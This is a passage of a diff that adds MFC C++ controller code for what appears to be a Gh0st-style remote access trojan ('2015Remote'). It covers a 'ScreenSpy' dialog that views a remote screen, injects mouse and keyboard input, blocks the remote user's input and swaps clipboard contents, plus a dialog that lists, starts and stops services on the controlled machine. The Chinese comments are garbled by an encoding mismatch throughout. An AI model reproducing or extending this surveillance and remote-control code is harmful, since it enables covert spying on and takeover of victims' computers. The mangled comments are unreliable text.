//<2F>ú<EFBFBD><C3BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD>ӻ<EFBFBD><D3BB><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD>Ǹ<EFBFBD><C7B8><EFBFBD>һ<EFBFBD>±仯<C2B1><E4BBAF><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>Ȼ<EFBFBD><C8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
//OnPaint<6E><74><EFBFBD><EFBFBD>ȥ
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ƶ<EFBFBD><C6B6><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD>Ƿ<EFBFBD><C7B7>仯<EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD>꣬<EFBFBD><EAA3AC>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˸
|
||||
BOOL bChange = FALSE;
|
||||
ULONG ulHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // <20><>ʶ + <20>㷨 + <20><><EFBFBD><EFBFBD> λ<><CEBB> + <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LPVOID FirstScreenData = m_BitmapData_Full;
|
||||
LPVOID NextScreenData = m_ContextObject->InDeCompressedBuffer.GetBuffer(ulHeadLength);
|
||||
ULONG NextScreenLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - ulHeadLength;
|
||||
|
||||
POINT OldClientCursorPos;
|
||||
memcpy(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT));
|
||||
memcpy(&m_ClientCursorPos, m_ContextObject->InDeCompressedBuffer.GetBuffer(2), sizeof(POINT));
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD><C6B6><EFBFBD>
|
||||
if (memcmp(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT)) != 0)
|
||||
{
|
||||
bChange = TRUE;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>仯
|
||||
|
||||
// <20><>Ļ<EFBFBD>Ƿ<EFBFBD><C7B7>仯
|
||||
if (NextScreenLength > 0)
|
||||
{
|
||||
bChange = TRUE;
|
||||
}
|
||||
|
||||
//lodsdָ<64><D6B8><EFBFBD><EFBFBD>ESIָ<49><D6B8><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>λ<EFBFBD><CEBB>4<EFBFBD><34><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7><EFBFBD>EAX<41>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4
|
||||
//movsbָ<62><D6B8><EFBFBD>ֽڴ<D6BD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD>ͨ<EFBFBD><CDA8>SI<53><49>DI<44><49><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><D4B4>ַ<EFBFBD><D6B7>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD>ַ
|
||||
|
||||
//m_rectBuffer [0002 esi0002 esi000A 000C] [][]edi[][][][][][][][][][][][][][][][][]
|
||||
__asm
|
||||
{
|
||||
mov ebx, [NextScreenLength] //ebx 16
|
||||
mov esi, [NextScreenData]
|
||||
jmp CopyEnd
|
||||
CopyNextBlock:
|
||||
mov edi, [FirstScreenData]
|
||||
lodsd // <20><>lpNextScreen<65>ĵ<EFBFBD>һ<EFBFBD><D2BB>˫<EFBFBD>ֽڣ<D6BD><DAA3>ŵ<EFBFBD>eax<61><78>,<2C><><EFBFBD><EFBFBD>DIB<49>иı<D0B8><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
add edi, eax // lpFirstScreenƫ<6E><C6AB>eax
|
||||
lodsd // <20><>lpNextScreen<65><6E><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>˫<EFBFBD>ֽڣ<D6BD><DAA3>ŵ<EFBFBD>eax<61><78>, <20><><EFBFBD>Ǹı<C7B8><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD>С
|
||||
mov ecx, eax
|
||||
sub ebx, 8 // ebx <20><>ȥ <20><><EFBFBD><EFBFBD>dword
|
||||
sub ebx, ecx // ebx <20><>ȥDIB<49><42><EFBFBD>ݵĴ<DDB5>С
|
||||
rep movsb
|
||||
CopyEnd:
|
||||
cmp ebx, 0 // <20>Ƿ<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
jnz CopyNextBlock
|
||||
}
|
||||
|
||||
if (bChange)
|
||||
{
|
||||
PostMessage(WM_PAINT);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::OnPaint()
|
||||
{
|
||||
CPaintDC dc(this); // device context for painting
|
||||
// TODO: <20>ڴ˴<DAB4><CBB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// <20><>Ϊ<EFBFBD><CEAA>ͼ<EFBFBD><CDBC>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD> CDialog::OnPaint()
|
||||
|
||||
if (m_bIsFirst)
|
||||
{
|
||||
DrawTipString("<EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD>......");
|
||||
return;
|
||||
}
|
||||
|
||||
BitBlt(m_hFullDC,0,0,
|
||||
m_BitmapInfor_Full->bmiHeader.biWidth,
|
||||
m_BitmapInfor_Full->bmiHeader.biHeight,
|
||||
m_hFullMemDC,
|
||||
m_ulHScrollPos,
|
||||
m_ulVScrollPos,
|
||||
SRCCOPY
|
||||
);
|
||||
|
||||
if (m_bIsTraceCursor)
|
||||
DrawIconEx(
|
||||
m_hFullDC,
|
||||
m_ClientCursorPos.x - m_ulHScrollPos,
|
||||
m_ClientCursorPos.y - m_ulVScrollPos,
|
||||
m_hIcon,
|
||||
0,0,
|
||||
0,
|
||||
NULL,
|
||||
DI_NORMAL | DI_COMPAT
|
||||
);
|
||||
}
|
||||
|
||||
VOID CScreenSpyDlg::DrawTipString(CString strString)
|
||||
{
|
||||
RECT Rect;
|
||||
GetClientRect(&Rect);
|
||||
//COLORREF<45><46><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>RGB<47><42>ɫ
|
||||
COLORREF BackgroundColor = RGB(0x00, 0x00, 0x00);
|
||||
COLORREF OldBackgroundColor = SetBkColor(m_hFullDC, BackgroundColor);
|
||||
COLORREF OldTextColor = SetTextColor(m_hFullDC, RGB(0xff,0x00,0x00));
|
||||
//ExtTextOut<75><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ṩһ<E1B9A9><D2BB><EFBFBD>ɹ<EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD>ľ<EFBFBD><C4BE>Σ<EFBFBD><CEA3>õ<EFBFBD>ǰѡ<C7B0><D1A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>塢<EFBFBD><E5A1A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>
|
||||
ExtTextOut(m_hFullDC, 0, 0, ETO_OPAQUE, &Rect, NULL, 0, NULL);
|
||||
|
||||
DrawText (m_hFullDC, strString, -1, &Rect,
|
||||
DT_SINGLELINE | DT_CENTER | DT_VCENTER);
|
||||
|
||||
SetBkColor(m_hFullDC, BackgroundColor);
|
||||
SetTextColor(m_hFullDC, OldBackgroundColor);
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
|
||||
|
||||
CMenu* SysMenu = GetSystemMenu(FALSE);
|
||||
|
||||
switch (nID)
|
||||
{
|
||||
case IDM_CONTROL:
|
||||
{
|
||||
m_bIsCtrl = !m_bIsCtrl;
|
||||
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED); //<2F>˵<EFBFBD><CBB5><EFBFBD>ʽ
|
||||
|
||||
break;
|
||||
}
|
||||
case IDM_SAVEDIB: // <20><><EFBFBD>ձ<EFBFBD><D5B1><EFBFBD>
|
||||
{
|
||||
SaveSnapshot();
|
||||
break;
|
||||
}
|
||||
|
||||
case IDM_TRACE_CURSOR: // <20><><EFBFBD>ٱ<EFBFBD><D9B1>ض<EFBFBD><D8B6><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
m_bIsTraceCursor = !m_bIsTraceCursor; //<2F><><EFBFBD><EFBFBD><EFBFBD>ڸı<DAB8><C4B1><EFBFBD><EFBFBD><EFBFBD>
|
||||
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);//<2F>ڲ˵<DAB2><CBB5><EFBFBD><F2B9B3B2><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
||||
OnPaint();
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case IDM_BLOCK_INPUT: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD>
|
||||
{
|
||||
BOOL bIsChecked = SysMenu->GetMenuState(IDM_BLOCK_INPUT, MF_BYCOMMAND) & MF_CHECKED;
|
||||
SysMenu->CheckMenuItem(IDM_BLOCK_INPUT, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
|
||||
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_SCREEN_BLOCK_INPUT;
|
||||
bToken[1] = !bIsChecked;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, bToken, sizeof(bToken));
|
||||
|
||||
break;
|
||||
}
|
||||
case IDM_GET_CLIPBOARD: //<2F><>ҪClient<6E>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(bToken));
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case IDM_SET_CLIPBOARD: //<2F><><EFBFBD><EFBFBD>
|
||||
{
|
||||
SendServerClipboard();
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
CDialog::OnSysCommand(nID, lParam);
|
||||
}
|
||||
|
||||
|
||||
BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
#define MAKEDWORD(h,l) (((unsigned long)h << 16) | l)
|
||||
switch (pMsg->message)
|
||||
{
|
||||
case WM_LBUTTONDOWN:
|
||||
case WM_LBUTTONUP:
|
||||
case WM_RBUTTONDOWN:
|
||||
case WM_RBUTTONUP:
|
||||
case WM_MOUSEMOVE:
|
||||
case WM_LBUTTONDBLCLK:
|
||||
case WM_RBUTTONDBLCLK:
|
||||
case WM_MBUTTONDOWN:
|
||||
case WM_MBUTTONUP:
|
||||
case WM_MOUSEWHEEL:
|
||||
{
|
||||
MSG Msg;
|
||||
memcpy(&Msg, pMsg, sizeof(MSG));
|
||||
Msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_ulVScrollPos, LOWORD(pMsg->lParam) + m_ulHScrollPos);
|
||||
Msg.pt.x += m_ulHScrollPos;
|
||||
Msg.pt.y += m_ulVScrollPos;
|
||||
SendCommand(&Msg);
|
||||
}
|
||||
break;
|
||||
case WM_KEYDOWN:
|
||||
case WM_KEYUP:
|
||||
case WM_SYSKEYDOWN:
|
||||
case WM_SYSKEYUP:
|
||||
if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)
|
||||
{
|
||||
MSG Msg;
|
||||
memcpy(&Msg, pMsg, sizeof(MSG));
|
||||
Msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_ulVScrollPos, LOWORD(pMsg->lParam) + m_ulHScrollPos);
|
||||
Msg.pt.x += m_ulHScrollPos;
|
||||
Msg.pt.y += m_ulVScrollPos;
|
||||
SendCommand(&Msg);
|
||||
}
|
||||
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
|
||||
return true;
|
||||
break;
|
||||
}
|
||||
|
||||
return CDialog::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
|
||||
VOID CScreenSpyDlg::SendCommand(MSG* Msg)
|
||||
{
|
||||
if (!m_bIsCtrl)
|
||||
return;
|
||||
|
||||
LPBYTE szData = new BYTE[sizeof(MSG) + 1];
|
||||
szData[0] = COMMAND_SCREEN_CONTROL;
|
||||
memcpy(szData + 1, Msg, sizeof(MSG));
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, szData, sizeof(MSG) + 1);
|
||||
|
||||
delete[] szData;
|
||||
}
|
||||
|
||||
BOOL CScreenSpyDlg::SaveSnapshot(void)
|
||||
{
|
||||
CString strFileName = m_strClientIP + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.bmp");
|
||||
CFileDialog Dlg(FALSE, "bmp", strFileName, OFN_OVERWRITEPROMPT, "λͼ<EFBFBD>ļ<EFBFBD>(*.bmp)|*.bmp|", this);
|
||||
if(Dlg.DoModal () != IDOK)
|
||||
return FALSE;
|
||||
|
||||
BITMAPFILEHEADER BitMapFileHeader;
|
||||
LPBITMAPINFO BitMapInfor = m_BitmapInfor_Full; //1920 1080 1 0000
|
||||
CFile File;
|
||||
if (!File.Open( Dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate))
|
||||
{
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// BITMAPINFO<46><4F>С
|
||||
//+ (BitMapInfor->bmiHeader.biBitCount > 16 ? 1 : (1 << BitMapInfor->bmiHeader.biBitCount)) * sizeof(RGBQUAD);
|
||||
//bmp fjkdfj dkfjkdfj [][][][]
|
||||
int nbmiSize = sizeof(BITMAPINFO);
|
||||
|
||||
//Э<><D0AD> TCP У<><D0A3>ֵ
|
||||
BitMapFileHeader.bfType = ((WORD) ('M' << 8) | 'B');
|
||||
BitMapFileHeader.bfSize = BitMapInfor->bmiHeader.biSizeImage + sizeof(BitMapFileHeader); //8421
|
||||
BitMapFileHeader.bfReserved1 = 0; //8000
|
||||
BitMapFileHeader.bfReserved2 = 0;
|
||||
BitMapFileHeader.bfOffBits = sizeof(BitMapFileHeader) + nbmiSize;
|
||||
|
||||
File.Write(&BitMapFileHeader, sizeof(BitMapFileHeader));
|
||||
File.Write(BitMapInfor, nbmiSize);
|
||||
|
||||
File.Write(m_BitmapData_Full, BitMapInfor->bmiHeader.biSizeImage);
|
||||
File.Close();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
VOID CScreenSpyDlg::UpdateServerClipboard(char *szBuffer,ULONG ulLength)
|
||||
{
|
||||
if (!::OpenClipboard(NULL))
|
||||
return;
|
||||
|
||||
::EmptyClipboard();
|
||||
HGLOBAL hGlobal = GlobalAlloc(GPTR, ulLength);
|
||||
if (hGlobal != NULL) {
|
||||
|
||||
char* szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
|
||||
memcpy(szClipboardVirtualAddress,szBuffer,ulLength);
|
||||
GlobalUnlock(hGlobal);
|
||||
SetClipboardData(CF_TEXT, hGlobal);
|
||||
GlobalFree(hGlobal);
|
||||
}
|
||||
CloseClipboard();
|
||||
}
|
||||
|
||||
VOID CScreenSpyDlg::SendServerClipboard(void)
|
||||
{
|
||||
if (!::OpenClipboard(NULL)) //<2F><EFBFBD><F2BFAABC>а<EFBFBD><D0B0>豸
|
||||
return;
|
||||
HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ڴ<EFBFBD>
|
||||
if (hGlobal == NULL)
|
||||
{
|
||||
::CloseClipboard();
|
||||
return;
|
||||
}
|
||||
int iPacketLength = GlobalSize(hGlobal) + 1;
|
||||
char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //<2F><><EFBFBD><EFBFBD>
|
||||
LPBYTE szBuffer = new BYTE[iPacketLength];
|
||||
|
||||
szBuffer[0] = COMMAND_SCREEN_SET_CLIPBOARD;
|
||||
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||||
::GlobalUnlock(hGlobal);
|
||||
::CloseClipboard();
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject,(PBYTE)szBuffer, iPacketLength);
|
||||
delete[] szBuffer;
|
||||
}
|
||||
61
server/2015Remote/ScreenSpyDlg.h
Normal file
@@ -0,0 +1,61 @@
|
||||
#pragma once
|
||||
#include "IOCPServer.h"
|
||||
|
||||
// CScreenSpyDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
class CScreenSpyDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CScreenSpyDlg)
|
||||
|
||||
public:
|
||||
//CScreenSpyDlg(CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL);
|
||||
virtual ~CScreenSpyDlg();
|
||||
|
||||
CONTEXT_OBJECT* m_ContextObject;
|
||||
IOCPServer* m_iocpServer;
|
||||
|
||||
VOID CScreenSpyDlg::SendNext(void);
|
||||
VOID CScreenSpyDlg::OnReceiveComplete();
|
||||
HDC m_hFullDC;
|
||||
HDC m_hFullMemDC;
|
||||
HBITMAP m_BitmapHandle;
|
||||
PVOID m_BitmapData_Full;
|
||||
LPBITMAPINFO m_BitmapInfor_Full;
|
||||
VOID CScreenSpyDlg::DrawFirstScreen(void);
|
||||
VOID CScreenSpyDlg::DrawNextScreenDiff(void);
|
||||
BOOL m_bIsFirst;
|
||||
ULONG m_ulHScrollPos;
|
||||
ULONG m_ulVScrollPos;
|
||||
VOID CScreenSpyDlg::DrawTipString(CString strString);
|
||||
|
||||
HICON m_hIcon;
|
||||
HICON m_hCursor;
|
||||
POINT m_ClientCursorPos;
|
||||
CString m_strClientIP;
|
||||
BOOL m_bIsTraceCursor;
|
||||
VOID CScreenSpyDlg::SendCommand(MSG* Msg);
|
||||
|
||||
VOID CScreenSpyDlg::UpdateServerClipboard(char *szBuffer,ULONG ulLength);
|
||||
VOID CScreenSpyDlg::SendServerClipboard(void);
|
||||
|
||||
BOOL m_bIsCtrl;
|
||||
LPBYTE m_szData;
|
||||
BOOL m_bSend;
|
||||
ULONG m_ulMsgCount;
|
||||
|
||||
BOOL CScreenSpyDlg::SaveSnapshot(void);
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_DIALOG_SCREEN_SPY };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnPaint();
|
||||
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
};
|
||||
196
server/2015Remote/ServicesDlg.cpp
Normal file
@@ -0,0 +1,196 @@
|
||||
// ServicesDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "ServicesDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
|
||||
// CServicesDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
IMPLEMENT_DYNAMIC(CServicesDlg, CDialog)
|
||||
|
||||
|
||||
CServicesDlg::CServicesDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
: CDialog(CServicesDlg::IDD, pParent)
|
||||
{
|
||||
m_ContextObject = ContextObject;
|
||||
m_iocpServer = IOCPServer;
|
||||
}
|
||||
|
||||
CServicesDlg::~CServicesDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CServicesDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_LIST, m_ControlList);
|
||||
DDX_Control(pDX, IDC_STATIC_COUNT, m_ServicesCount);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CServicesDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_COMMAND(ID_SERVICES_AUTO, &CServicesDlg::OnServicesAuto)
|
||||
ON_COMMAND(ID_SERVICES_MANUAL, &CServicesDlg::OnServicesManual)
|
||||
ON_COMMAND(ID_SERVICES_STOP, &CServicesDlg::OnServicesStop)
|
||||
ON_COMMAND(ID_SERVICES_START, &CServicesDlg::OnServicesStart)
|
||||
ON_COMMAND(ID_SERVICES_REFLASH, &CServicesDlg::OnServicesReflash)
|
||||
ON_NOTIFY(NM_RCLICK, IDC_LIST, &CServicesDlg::OnNMRClickList)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CServicesDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
BOOL CServicesDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
CString strString;
|
||||
sockaddr_in ClientAddress;
|
||||
memset(&ClientAddress, 0, sizeof(ClientAddress));
|
||||
int iClientAddressLength = sizeof(ClientAddress);
|
||||
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddress, &iClientAddressLength);
|
||||
strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "");
|
||||
SetWindowText(strString);
|
||||
|
||||
m_ControlList.SetExtendedStyle( LVS_EX_FULLROWSELECT);
|
||||
m_ControlList.InsertColumn(0, "<EFBFBD><EFBFBD>ʵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 150);
|
||||
m_ControlList.InsertColumn(1, "<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 260);
|
||||
m_ControlList.InsertColumn(2, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 80);
|
||||
m_ControlList.InsertColumn(3, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬", LVCFMT_LEFT, 80);
|
||||
m_ControlList.InsertColumn(4, "<EFBFBD><EFBFBD>ִ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>·<EFBFBD><EFBFBD>", LVCFMT_LEFT, 380);
|
||||
|
||||
ShowServicesList();
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||
}
|
||||
|
||||
int CServicesDlg::ShowServicesList(void)
|
||||
{
|
||||
char *szBuffer = (char *)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1));
|
||||
char *szDisplayName;
|
||||
char *szServiceName;
|
||||
char *szRunWay;
|
||||
char *szAutoRun;
|
||||
char *szFilePath;
|
||||
DWORD dwOffset = 0;
|
||||
m_ControlList.DeleteAllItems();
|
||||
|
||||
int i = 0;
|
||||
for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; i++)
|
||||
{
|
||||
szDisplayName = szBuffer + dwOffset;
|
||||
szServiceName = szDisplayName + lstrlen(szDisplayName) +1;
|
||||
szFilePath= szServiceName + lstrlen(szServiceName) +1;
|
||||
szRunWay = szFilePath + lstrlen(szFilePath) + 1;
|
||||
szAutoRun = szRunWay + lstrlen(szRunWay) + 1;
|
||||
|
||||
m_ControlList.InsertItem(i, szServiceName);
|
||||
m_ControlList.SetItemText(i, 1, szDisplayName);
|
||||
m_ControlList.SetItemText(i, 2, szAutoRun);
|
||||
m_ControlList.SetItemText(i, 3, szRunWay);
|
||||
m_ControlList.SetItemText(i, 4, szFilePath );
|
||||
|
||||
dwOffset += lstrlen(szDisplayName) + lstrlen(szServiceName) + lstrlen(szFilePath) + lstrlen(szRunWay)
|
||||
+ lstrlen(szAutoRun) +5;
|
||||
}
|
||||
|
||||
CString strTemp;
|
||||
strTemp.Format("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:%d",i);
|
||||
|
||||
m_ServicesCount.SetWindowText(strTemp);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void CServicesDlg::OnClose()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
|
||||
m_ContextObject->v1 = 0;
|
||||
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
||||
closesocket(m_ContextObject->sClientSocket);
|
||||
CDialog::OnClose();
|
||||
delete this;
|
||||
}
|
||||
|
||||
|
||||
void CServicesDlg::OnServicesAuto()
|
||||
{
|
||||
ServicesConfig(3);
|
||||
}
|
||||
|
||||
|
||||
void CServicesDlg::OnServicesManual()
|
||||
{
|
||||
ServicesConfig(4);
|
||||
}
|
||||
|
||||
|
||||
void CServicesDlg::OnServicesStop()
|
||||
{
|
||||
ServicesConfig(2);
|
||||
}
|
||||
|
||||
|
||||
void CServicesDlg::OnServicesStart()
|
||||
{
|
||||
ServicesConfig(1);
|
||||
}
|
||||
|
||||
|
||||
void CServicesDlg::OnServicesReflash()
|
||||
{
|
||||
BYTE bToken = COMMAND_SERVICELIST; //ˢ<><CBA2>
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
|
||||
}
|
||||
|
||||
|
||||
void CServicesDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
{
|
||||
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
|
||||
|
||||
CMenu Menu;
|
||||
Menu.LoadMenu(IDR_MENU_SERVICES);
|
||||
CMenu *SubMenu=Menu.GetSubMenu(0);
|
||||
CPoint Point;
|
||||
GetCursorPos(&Point);
|
||||
SubMenu->TrackPopupMenu(TPM_LEFTALIGN|TPM_LEFTBUTTON,Point.x,Point.y,this);
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
|
||||
void CServicesDlg::OnReceiveComplete(void)
|
||||
{
|
||||
switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0])
|
||||
{
|
||||
case TOKEN_SERVERLIST:
|
||||
ShowServicesList();
|
||||
break;
|
||||
default:
|
||||
// <20><><EFBFBD>䷢<EFBFBD><E4B7A2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
